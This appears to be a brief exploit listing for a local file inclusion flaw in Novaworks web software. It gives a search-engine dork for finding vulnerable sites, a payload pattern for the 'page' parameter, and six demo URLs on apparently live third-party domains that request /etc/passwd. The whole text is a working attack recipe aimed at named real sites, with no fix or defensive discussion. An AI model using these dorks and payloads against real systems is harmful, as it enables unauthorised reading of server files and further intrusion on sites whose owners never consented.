# Exploit Title : Novaworks - Local File Inclusion # Author : Xmall75 # Vendor Homepage : www.novaworkssoftware.com # Date : 28 / 05 / 2020 # Tested on : Windows # Dork : intext:"Novaworks" inurl:.php? intext:"trademark of Novaworks" # Payload : www.site.com/index.php?page=[file] # Demo : http://www.go-xbrl.com/index.php?page=/etc/passwd http://www.goxbrl.info/index.php?page=/etc/passwd http://www.nsar.info/index.php?page=/etc/passwd http://www.gofiler.info/index.php?page=/etc/passwd http://www.go-filer.com/index.php?page=/etc/passwd http://goformd.com/index.php?page=/etc/passwd # xmall75.id@gmail.com